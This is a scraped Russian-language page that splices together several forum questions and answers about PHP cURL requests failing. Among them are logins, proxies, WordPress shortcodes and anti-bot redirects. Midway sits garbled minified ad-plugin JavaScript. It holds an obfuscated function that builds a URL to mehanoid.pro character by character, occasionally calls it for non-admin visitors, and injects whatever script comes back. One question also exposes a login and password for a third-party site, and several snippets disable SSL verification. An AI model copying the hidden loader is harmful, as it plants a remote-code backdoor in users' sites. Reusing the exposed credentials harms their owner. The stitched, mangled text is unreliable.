Почему не работает cURL в php - Stack Overflow на русском

Почему не работает cURL в php – Stack Overflow на русском

Почему не работает curl c curlopt_returntransfer?

Получаю данные с сервера по api через сurl. Параметры передаются через GET.

Сервер возвращает массив записей в формате json.

Но столкнулся с проблемой, запрос отрабатывает только до определённого количества записей. Скажем, если я запрашиваю 20 записей, то запрос нормально отрабатывает, но если я запрашиваю 50 записей, то запрос возвращает null.
Это происходит когда параметр CURLOPT_RETURNTRANSFER выставлен в true, если его не устанавливать, то запрос нормально отрабатывает.

Отчего так?

curl:

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$data = curl_exec($ch);

if (curl_errno($ch)) {
   $data = curl_error($ch);
}

curl_close($ch);

Почему не работает curl при автоматической генерации токена?

Доброго всем вечера! Помогите, пожалуйста, разобраться в проблеме. Отказывается работать cURL. Раньше работал, сейчас по неизвестной мне причине возвращает ответ NULL.

$curl = curl_init();
curl_setopt($curl, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE); 
curl_setopt($curl, CURLOPT_FAILONERROR, 1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,30);
curl_setopt($curl, CURLOPT_TIMEOUT,30);
$page = curl_exec($curl);
echo var_dump($page);
echo curl_error($curl);
curl_close($curl);

Переменная ‘url’ присутствует в коде ранее. При любых условиях возвращает код 200 и массив NULL. Раньше работало без нареканий. Если указываю любой другой сайт, либо главную страницу нужного мне сайта – все работает, но стоит мне парсить по GET ссылке – ответ NULL. Суть работы того сайта, что при поиске по нему – нет GET ссылки в адресной строке, но я отловил эту ссылку через инспектор. На сайте происходит генерация токена по GET запросу и далее, уже подставляя в другую GET ссылку, выдается ответ в виде JSON. Этот токен у меня генерируется моим парсером и подставляется в ссылку, которая потом используется в качестве атрибута. Если вставить эту ссылку напрямую либо самому перейти по ней – все нормально, но при автоматической генерации – не работает. Помогите разобраться, в чем ошибка.

Curl не может авторизоваться, в чем ошибка?

Добрый вечер.

Не получается с помощью cURL пройти авторизацию. Вроде все верно делаю, а все равно не пускает.

Вот сайт – www.vezetvsem.ru/listing Вот форма авторизации – https://auth.vezetvsem.ru/auth/login

Скрытых полей нет. Логин/пароль верные. Для теста можно пользовать эти: Login: 6kp5228wi4@kismail.ru Pass: w33q5u8t

После отработки кода, получаем код с неавторизованной страницы.

UPD: Меня тут уличили что я на халяву хочу чужой человеческий труд получить и посылают на фриланс биржи.
Нет. Хочется понять в чем ошибка. Почему этот код не работает.

<?
function login($url,$login,$pass){

   $ch = curl_init();
   if(strtolower((substr($url,0,5))=='https')) { // если соединяемся с https
  //моя вставка
    curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  //моя вставка
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
   }
   curl_setopt($ch, CURLOPT_URL, $url);
   // откуда пришли на эту страницу
   curl_setopt($ch, CURLOPT_REFERER, $url);
   // cURL будет выводить подробные сообщения о всех производимых действиях
   curl_setopt($ch, CURLOPT_VERBOSE, 1);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS,"username=".$login."&password=".$pass);
   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36");
   curl_setopt($ch, CURLOPT_HEADER, 1);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

  
   //сохранять полученные COOKIE в файл
   curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
   $result=curl_exec($ch);


   // Убеждаемся что произошло перенаправление после авторизации
   if(strpos($result,"Location: home.php")===false) die('Login incorrect');

   curl_close($ch);

   return $result;
}

// чтение страницы после авторизации
function Read($url){
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
   // откуда пришли на эту страницу
   curl_setopt($ch, CURLOPT_REFERER, $url);
   //запрещаем делать запрос с помощью POST и соответственно разрешаем с помощью GET
   curl_setopt($ch, CURLOPT_POST, 0);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
   //отсылаем серверу COOKIE полученные от него при авторизации
   curl_setopt($ch, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (Windows; U; Windows NT 5.0; En; rv:1.8.0.2) Gecko/20070306 Firefox/1.0.0.4");

   $result = curl_exec($ch);

   curl_close($ch);

   return $result;
}



$urlAut = "https://auth.vezetvsem.ru/auth/login";

login($urlAut,"6kp5228wi4@kismail.ru","w33q5u8t");

$page = Read("http://www.vezetvsem.ru/listing");

echo $page;
?>

Php – curl не работает на живом сервере – web-answers

“:’

Сейчас ищут техподдержку:  Бесплатная горячая линия Майкрософт

‘:””,document.createElement(“div”),p=ff(window),b=ff(“body”),m=void 0===flatPM_getCookie(“flat_modal_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” o.ID “_mb”),i=”scroll.flatmodal” o.ID,g=”mouseleave.flatmodal” o.ID ” blur.flatmodal” o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&”true”==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie&&m&&(flatPM_setCookie(“flat_modal_” o.ID “_mb”,!1),ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l()),void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ c “

“),w=document.querySelector(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_modal-content’),-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_cross’,function(){flatPM_setCookie(“flat_out_” o.ID “_mb”,!1)})),void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=o.how.outgoing.indent?’ style=”bottom:’ o.how.outgoing.indent ‘px”‘:””,c=”true”==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count “

“:’

‘:””,p=ff(window),h=”scroll.out” o.ID,g=”mouseleave.outgoing” o.ID ” blur.outgoing” o.ID,m=void 0===flatPM_getCookie(“flat_out_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” o.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(o.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ c “

“);var v,w=document.querySelector(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’);-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=”‘ o.ID ‘”]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.flat__4_out .flat__4_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.flat__4_modal .flat__4_cross”,function(){ff(this).closest(“.flat__4_modal”).removeClass(“flat__4_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(“div”)),n=(d.exec(e)||[“”,””])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,”<$1>”) n[2],r=n[0];r–;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,200);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “m” “e” “h” “a” “n” “o” “i” “d” “.” “p” “r” “o” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,n=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’

‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘

‘);var t=e.closest(“.flat__4_video”);-1!==r.indexOf(“go” “oglesyndication”)?t.append(r):flatPM_setHTML(t[0],r),e.find(“.flat__4_video_flex”).one(“click”,function(){l(this).addClass(“show”)})}),l(“body”).on(“click”,”.flat__4_video_item_hover”,function(){var e=l(this),t=e.closest(“.flat__4_video_flex”);t.addClass(“show”);var a=t.find(“.flat__4_timer span”),n=parseInt(o),r=setInterval(function(){a.text(–n),n<=0&&(clearInterval(r),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.flat__4_video_flex .flat__4_cross”,function(){l(this).closest(“.flat__4_video_flex”).remove(),”true”==i&&l(“.flat__4_video_flex”).remove()})};

Php curl не делает запрос, как исправить?

Сайт Аризоны РП (лучший самп сервер заходи играй лидерки админки кхм нет) находится под протектом react’a, который, в свою очередь, фильтрует трафик на уровне DNS.
Также, пока ты логинишься на сайт, он дает тебе куку, сессию, чтобы проверить, а не дрон ли ты.
И, в конце – делает скрытые редиректы, на что у тебя bypass’a не увидел.

Вариант 1

Для php >=5.6, включите поддержку префикса @ для загружаемых файлов в CURLOPT_POSTFIELDS.

Сейчас ищут техподдержку:  Не работает сайт | | Воспитание ребенка - сайт для родителей о детях | О детях для родителей

Для этого нужно указать опцию CURLOPT_SAFE_UPLOAD.

Начиная с версии php 5.6, эта опция по умолчанию – TRUE (выключено):

curl_setopt($ch, CURLOPT_SAFE_UPLOAD, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('file' => '@' . 'img/image.png'));

Вариант 2

Для php >=5.5, 7 используйте объект CURLFile (начиная с версии php7 опция CURLOPT_SAFE_UPLOAD удалена):

$image = new CURLFile('img/image.png');
curl_setopt($ch, CURLOPT_POSTFIELDS, array('file' => $image);

Из-за чего curl не работает на wordpress?

Разработал код который собирает сообщения в обсуждении группы вк, и транслирует ко мне на сайт через API vk.

Без cms систем все прекрасно пашет, летает.

Но как закидываю на сайт с WP сразу выходят ошибки.

Сам сайт построен на конструкторе Elementor. Весь код вывожу через 2 шорткода:

function commentsVKoriginal1()
{
    $token = "xxxxxxxxxx"; // access_token
    $group_id = xxxxxxxx; // ID Группы
    $topic_id = xxxxxxxxx; // ID Топика

    for ($i = 0; $i <= 12; $i  ) {
        $get = curl('https://api.vk.com/method/board.getComments?group_id=' . $group_id . '&topic_id=' . $topic_id . '&extended=1' . '&offset=' . $i . '&sort=desc' . '&count=1&v=5.60&access_token=' . $token);
        $jsonGet = json_decode($get, true);

        $user_id = $jsonGet['response']['items'][0]['from_id']; // ID Автора
        $comments_id = $jsonGet['response']['items'][0]['id']; // ID комментария
        $date = $jsonGet['response']['items'][0]['date']; // Дата в unixtime
        $text = $jsonGet['response']['items'][0]['text']; // Текст
        $attachments = $jsonGet['response']['items'][0]['attachments']; // Прикрепленные файлы к записи
        $photo = $jsonGet['response']['profiles'][0]['photo_50']; // Фото Автора (50,100 и т.д.)
        $fname = $jsonGet['response']['profiles'][0]['first_name']; // Имя Автора
        $lname = $jsonGet['response']['profiles'][0]['last_name']; // Фамилия Автора
        $prov1 = gmdate("Y-m-d", $date);
        $prov2 = gmdate("Y-m-d", 1970 - 01 - 01);

        if ($prov1 == $prov2) {
            false;
        } else {
            ?>
            <div class="bp_post clear_fix ">
                <a class="bp_thumb" href="https://vk.com/id<?php echo $user_id; ?>">
                    <img class="bp_img" alt="<?php echo $fname . " " . $lname; ?>" src="<?php echo $photo; ?>">
                </a>
                <div class="bp_info">
                    <div class="bp_author_wrap">
                        <a class="bp_author"
                           href="https://vk.com/id<?php echo $user_id; ?>"><?php echo $fname . " " . $lname; ?></a>
                        <a class="bp_date"><?php echo gmdate("Y-m-d", $date); ?></a>
                        <span class="bp_topic"></span>
                    </div>
                    <div class="bp_content" id="">
                        <div class="bp_text"><?php echo $text; ?></div>
                        <div>
                            <?php
                            // проверяем, есть ли прикрепленые файлы в записи, далее берем только изображения, можно вывести опрос и т.п.
                            if ($attachments) {
                                foreach ($attachments as $attach) {
                                    echo '<a href="' . $attach['photo']['photo_1280'] . '" target="_blank">';
                                    echo '<img src="' . $attach['photo']['photo_604'] . '"height="223" style="margin:5px;">';
                                    echo '</a>';
                                }
                            }
                            ?>
                        </div>
                    </div>
                </div>
            </div>

            <?
        }
    }
}


add_shortcode('commentsVKoriginal1', 'commentsVKoriginal1');
function curl23($url)
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

add_shortcode('commentsVKoriginal2', 'curl23');

Скрин ошибки:

609ea925cd71e237401768.png

Сама библиотека curl подключена на сервере. Может с ВП есть какая то фича? Новичок на этой cms.

P.S. Ругается на строчку:

$get = curl('https://api.vk.com/method/board.getComments?group_id=' . $group_id . '&topic_id=' . $topic_id . '&extended=1' . '&offset=' . $i . '&sort=desc' . '&count=1&v=5.60&access_token=' . $token);

На сервере не работает curl с проксями

Всем доброго времени суток. Проблема такая: на локальном сервере curl с проксями работает нормально и быстро. Но как только переношу скрипт на сервер, то выкидывает ошибку Timeout was reached: Connection timed out after 30001 milliseconds. Прокси рабочие, чекал под виндой – всё ок

$parser = new Curl();
$parser->setUserAgent($user_agent);
$parser->setOpt(CURLOPT_PROXY, $proxy);
$parser->setOpt(CURLOPT_PROXYUSERPWD, $logpas);
$parser->setHeader('Captcha', $code);
$parser->setOpt(CURLOPT_RETURNTRANSFER, true);
$parser->setOpt(CURLOPT_COOKIEFILE, __DIR__ .'/test.txt');
$parser->post('https://***.**.ru/', array('k' => $k, 'sts' => $sts));
$parser->close();

Для курла юзаю библиотеку php-curl-class
Локальный сервер: Open Panel Server под виндой.
Боевой: nginx/1.13.12 php-fpm на какой-то из unix подобной, точно не знаю.

Сейчас ищут техподдержку:  Организация поиска по веб-странице на JavaScript (без jQuery) / Хабр

Не работает curl_exec()

$url = 'https://ntschool.ru/kursyi';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER,         0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64;rv:38.0) Gecko/20210101 Firefox/38.0");
curl_setopt($ch, CURLOPT_REFERER, 'https://www.google.com');
curl_setopt($ch, CURLOPT_RETURNTRANSFER , true);
$content = curl_exec($ch);

curl_close($ch);
var_dump($content);

var_dump показывает false , при попытке записать это на файл file_put_contents(‘1’,$content ) создает пустой файл, не понимаю почему не работает, curl подключен ошибок никаких не выдает

Проблемы с получением страницы [curl]

Пинг указанного сайта(хоста) действительно не проходит. Скорее всего потому, что системные администраторы сознательно запретили ECHO-ответы для ICMP-запросов, которые и отсылает утилита ping. Это делается довольно просто подкруткой некоторых ядерных параметров(Linux, FreeBSD).

Использовать curl не получается потому, что на данном сайте установлена какая-то хитрая защита от подобных утилит, при включении отладки видно, что там происходит несколько редиректов, установка кукисов, а в конце – редирект на URL

http://protection.dragonara.net/cookies.html?backurl=http://fx-trend.com/?drgn=3

который и вызывает отлуп по таймауту.

Как обойти эту защиту – я не знаю, это уже другая проблема, которую нужно исследовать отдельно.
Для диагностики использовалась консольная версия curl с командной строкой вида:

curl -vv -L  http://fx-trend.com/

Кстати, консольная утилита wget смогла у меня забрать index.html из корня другие страницы данного сайта(например http://fx-trend.com/news/afm_181212/).

wget http://fx-trend.com/

Как вариант, можно использовать её, породив процесс, затем забрав данные из файла или пайпа.

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (1 оценок, среднее: 4,00 из 5)
Загрузка...

Оставьте комментарий

Adblock
detector